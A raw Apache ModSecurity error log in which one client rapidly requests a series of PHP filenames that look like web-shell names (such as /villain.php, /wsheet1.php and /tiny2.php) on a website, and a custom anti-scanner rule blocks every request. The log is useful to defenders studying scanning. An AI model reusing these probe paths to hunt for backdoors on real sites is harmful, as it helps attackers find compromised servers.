[Wed Apr 08 01:50:29.353025 2026] [:error] [pid 5246:tid 5272] [client 20.234.13.12:7186] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adVD5RLpySxaVC8kLEZvpgAAANY"]
[Wed Apr 08 01:50:29.908819 2026] [:error] [pid 4842:tid 5191] [client 20.234.13.12:7173] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adVD5ZdncJIGbBiMOXTG6wAAAEM"]
[Wed Apr 08 01:50:30.413340 2026] [:error] [pid 5337:tid 5366] [client 20.234.13.12:7268] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adVD5iboIFdw6tlcN13p8wAAAQg"]
[Wed Apr 08 01:50:30.918674 2026] [:error] [pid 5246:tid 5250] [client 20.234.13.12:4377] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-22.php"] [unique_id "adVD5hLpySxaVC8kLEZvqQAAAMA"]
[Wed Apr 08 01:50:31.418865 2026] [:error] [pid 5337:tid 5358] [client 20.234.13.12:7240] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-22.php"] [unique_id "adVD5yboIFdw6tlcN13p9AAAAQA"]
[Wed Apr 08 01:50:31.920602 2026] [:error] [pid 4860:tid 5216] [client 20.234.13.12:7293] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-22.php"] [unique_id "adVD5wn6KmY32L3WSeHGSwAAAIE"]
[Wed Apr 08 01:50:32.419902 2026] [:error] [pid 4842:tid 5189] [client 20.234.13.12:7254] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-22.php"] [unique_id "adVD6JdncJIGbBiMOXTG7wAAAEE"]
[Wed Apr 08 01:50:32.925340 2026] [:error] [pid 4840:tid 5176] [client 20.234.13.12:7237] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/villain.php"] [unique_id "adVD6BsUwg2fEe9p9LTFzAAAABA"]
[Wed Apr 08 01:50:33.424415 2026] [:error] [pid 5246:tid 5259] [client 20.234.13.12:4380] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/villain.php"] [unique_id "adVD6RLpySxaVC8kLEZvrgAAAMk"]
[Wed Apr 08 01:50:33.947753 2026] [:error] [pid 303:tid 326] [client 20.234.13.12:7182] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/villain.php"] [unique_id "adVD6c9wWR0DHTrNMujhkAAAAVQ"]
[Wed Apr 08 01:50:34.447018 2026] [:error] [pid 303:tid 325] [client 20.234.13.12:7185] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/villain.php"] [unique_id "adVD6s9wWR0DHTrNMujhlQAAAVM"]
[Wed Apr 08 01:50:34.952082 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:7220] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-db.php"] [unique_id "adVD6iboIFdw6tlcN13p-AAAAQc"]
[Wed Apr 08 01:50:35.454039 2026] [:error] [pid 303:tid 320] [client 20.234.13.12:7279] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-db.php"] [unique_id "adVD689wWR0DHTrNMujhmgAAAU4"]
[Wed Apr 08 01:50:35.959882 2026] [:error] [pid 5337:tid 5370] [client 20.234.13.12:7242] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-db.php"] [unique_id "adVD6yboIFdw6tlcN13p_QAAAQw"]
[Wed Apr 08 01:50:36.458529 2026] [:error] [pid 4840:tid 5184] [client 20.234.13.12:7193] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-db.php"] [unique_id "adVD7BsUwg2fEe9p9LTFzwAAABg"]
[Wed Apr 08 01:50:36.962989 2026] [:error] [pid 5246:tid 5265] [client 20.234.13.12:7262] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adVD7BLpySxaVC8kLEZvswAAAM8"]
[Wed Apr 08 01:50:37.469435 2026] [:error] [pid 5246:tid 5270] [client 20.234.13.12:7288] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adVD7RLpySxaVC8kLEZvtgAAANQ"]
[Wed Apr 08 01:50:37.973543 2026] [:error] [pid 4860:tid 5225] [client 20.234.13.12:7205] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adVD7Qn6KmY32L3WSeHGTgAAAIo"]
[Wed Apr 08 01:50:38.473147 2026] [:error] [pid 4842:tid 5196] [client 20.234.13.12:7202] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/red.php"] [unique_id "adVD7pdncJIGbBiMOXTG9gAAAEg"]
[Wed Apr 08 01:50:38.994073 2026] [:error] [pid 4860:tid 5226] [client 20.234.13.12:4367] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adVD7gn6KmY32L3WSeHGVAAAAIs"]
[Wed Apr 08 01:50:40.618501 2026] [:error] [pid 5337:tid 5362] [client 20.234.13.12:7248] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adVD8CboIFdw6tlcN13p_wAAAQQ"]
[Wed Apr 08 01:50:41.132952 2026] [:error] [pid 5337:tid 5379] [client 20.234.13.12:7183] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adVD8SboIFdw6tlcN13qAQAAARU"]
[Wed Apr 08 01:50:41.702117 2026] [:error] [pid 303:tid 314] [client 20.234.13.12:5064] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adVD8c9wWR0DHTrNMujhrAAAAUg"]
[Wed Apr 08 01:50:42.203768 2026] [:error] [pid 5337:tid 5365] [client 20.234.13.12:7188] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "adVD8iboIFdw6tlcN13qBAAAAQc"]
[Wed Apr 08 01:50:42.767630 2026] [:error] [pid 303:tid 319] [client 20.234.13.12:7276] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "adVD8s9wWR0DHTrNMujhsgAAAU0"]
[Wed Apr 08 01:50:43.270987 2026] [:error] [pid 5337:tid 5381] [client 20.234.13.12:7214] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "adVD8yboIFdw6tlcN13qBwAAARc"]
[Wed Apr 08 01:50:43.842925 2026] [:error] [pid 303:tid 306] [client 20.234.13.12:4358] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "adVD889wWR0DHTrNMujhuAAAAUA"]
[Wed Apr 08 01:50:44.365169 2026] [:error] [pid 5337:tid 5375] [client 20.234.13.12:4379] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "adVD9CboIFdw6tlcN13qCQAAARE"]
[Wed Apr 08 01:50:44.896535 2026] [:error] [pid 5337:tid 5373] [client 20.234.13.12:4394] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "adVD9CboIFdw6tlcN13qDAAAAQ8"]
[Wed Apr 08 01:50:45.406825 2026] [:error] [pid 5337:tid 5379] [client 20.234.13.12:4391] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "adVD9SboIFdw6tlcN13qDwAAARU"]
[Wed Apr 08 01:50:45.961633 2026] [:error] [pid 5246:tid 5256] [client 20.234.13.12:7260] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "adVD9RLpySxaVC8kLEZvuwAAAMY"]
[Wed Apr 08 01:50:46.470519 2026] [:error] [pid 5246:tid 5262] [client 20.234.13.12:4404] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "adVD9hLpySxaVC8kLEZvvgAAAMw"]
[Wed Apr 08 01:50:47.052591 2026] [:error] [pid 4842:tid 5197] [client 20.234.13.12:7238] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "adVD95dncJIGbBiMOXTG-gAAAEk"]
[Wed Apr 08 01:50:47.574476 2026] [:error] [pid 4860:tid 5224] [client 20.234.13.12:7207] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "adVD9wn6KmY32L3WSeHGWgAAAIk"]
[Wed Apr 08 01:50:49.079591 2026] [:error] [pid 5246:tid 5273] [client 20.234.13.12:7198] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs7.php"] [unique_id "adVD-RLpySxaVC8kLEZvwwAAANc"]
[Wed Apr 08 01:50:49.584067 2026] [:error] [pid 5337:tid 5361] [client 20.234.13.12:7282] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool2.php"] [unique_id "adVD-SboIFdw6tlcN13qGAAAAQM"]
[Wed Apr 08 01:50:50.093520 2026] [:error] [pid 303:tid 322] [client 20.234.13.12:7209] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool2.php"] [unique_id "adVD-s9wWR0DHTrNMujhvgAAAVA"]
[Wed Apr 08 01:50:50.604169 2026] [:error] [pid 303:tid 318] [client 20.234.13.12:7194] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool2.php"] [unique_id "adVD-s9wWR0DHTrNMujhwQAAAUw"]
[Wed Apr 08 01:50:51.107714 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:7232] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tool2.php"] [unique_id "adVD-89wWR0DHTrNMujhxQAAAUo"]
[Wed Apr 08 01:50:51.609912 2026] [:error] [pid 303:tid 313] [client 20.234.13.12:4357] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zjllx.php"] [unique_id "adVD-89wWR0DHTrNMujhxwAAAUc"]
[Wed Apr 08 01:50:52.159759 2026] [:error] [pid 5246:tid 5266] [client 20.234.13.12:7189] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zjllx.php"] [unique_id "adVD_BLpySxaVC8kLEZvxQAAANA"]
[Wed Apr 08 01:50:52.662383 2026] [:error] [pid 5337:tid 5366] [client 20.234.13.12:7231] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zjllx.php"] [unique_id "adVD_CboIFdw6tlcN13qGwAAAQg"]
[Wed Apr 08 01:50:53.259666 2026] [:error] [pid 4840:tid 5174] [client 20.234.13.12:7280] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zjllx.php"] [unique_id "adVD_RsUwg2fEe9p9LTF3AAAAA4"]
[Wed Apr 08 01:50:53.767386 2026] [:error] [pid 5246:tid 5274] [client 20.234.13.12:7269] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2.php"] [unique_id "adVD_RLpySxaVC8kLEZvyAAAANg"]
[Wed Apr 08 01:50:55.287871 2026] [:error] [pid 5246:tid 5259] [client 20.234.13.12:4382] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2.php"] [unique_id "adVD_xLpySxaVC8kLEZvygAAAMk"]
[Wed Apr 08 01:50:55.808885 2026] [:error] [pid 5246:tid 5265] [client 20.234.13.12:4355] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2.php"] [unique_id "adVD_xLpySxaVC8kLEZvywAAAM8"]
[Wed Apr 08 01:50:56.320867 2026] [:error] [pid 5246:tid 5261] [client 20.234.13.12:7246] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h2.php"] [unique_id "adVEABLpySxaVC8kLEZvzQAAAMs"]
[Wed Apr 08 01:50:56.835994 2026] [:error] [pid 4842:tid 5205] [client 20.234.13.12:7234] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "adVEAJdncJIGbBiMOXTHAQAAAFE"]
[Wed Apr 08 01:50:57.335626 2026] [:error] [pid 5337:tid 5361] [client 20.234.13.12:4407] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "adVEASboIFdw6tlcN13qIgAAAQM"]
[Wed Apr 08 01:50:57.851629 2026] [:error] [pid 4860:tid 5221] [client 20.234.13.12:4365] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "adVEAQn6KmY32L3WSeHGYAAAAIY"]
[Wed Apr 08 01:50:58.352934 2026] [:error] [pid 5337:tid 5370] [client 20.234.13.12:7252] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny2.php"] [unique_id "adVEAiboIFdw6tlcN13qJQAAAQw"]
[Wed Apr 08 01:50:58.874755 2026] [:error] [pid 303:tid 316] [client 20.234.13.12:7218] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adVEAs9wWR0DHTrNMujh2AAAAUo"]
[Wed Apr 08 01:50:59.377375 2026] [:error] [pid 4860:tid 5216] [client 20.234.13.12:7258] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adVEAwn6KmY32L3WSeHGZAAAAIE"]
[Wed Apr 08 01:50:59.880952 2026] [:error] [pid 5337:tid 5379] [client 20.234.13.12:7211] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adVEAyboIFdw6tlcN13qKAAAARU"]
[Wed Apr 08 01:51:00.390430 2026] [:error] [pid 4840:tid 5170] [client 20.234.13.12:7255] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "adVEBBsUwg2fEe9p9LTF4AAAAAo"]
[Wed Apr 08 01:51:00.904523 2026] [:error] [pid 4840:tid 5169] [client 20.234.13.12:4356] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "adVEBBsUwg2fEe9p9LTF4QAAAAk"]
[Wed Apr 08 01:51:01.412661 2026] [:error] [pid 4840:tid 5165] [client 20.234.13.12:4363] [client 20.234.13.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dbc.php"] [unique_id "adVEBRsUwg2fEe9p9LTF4wAAAAU"]
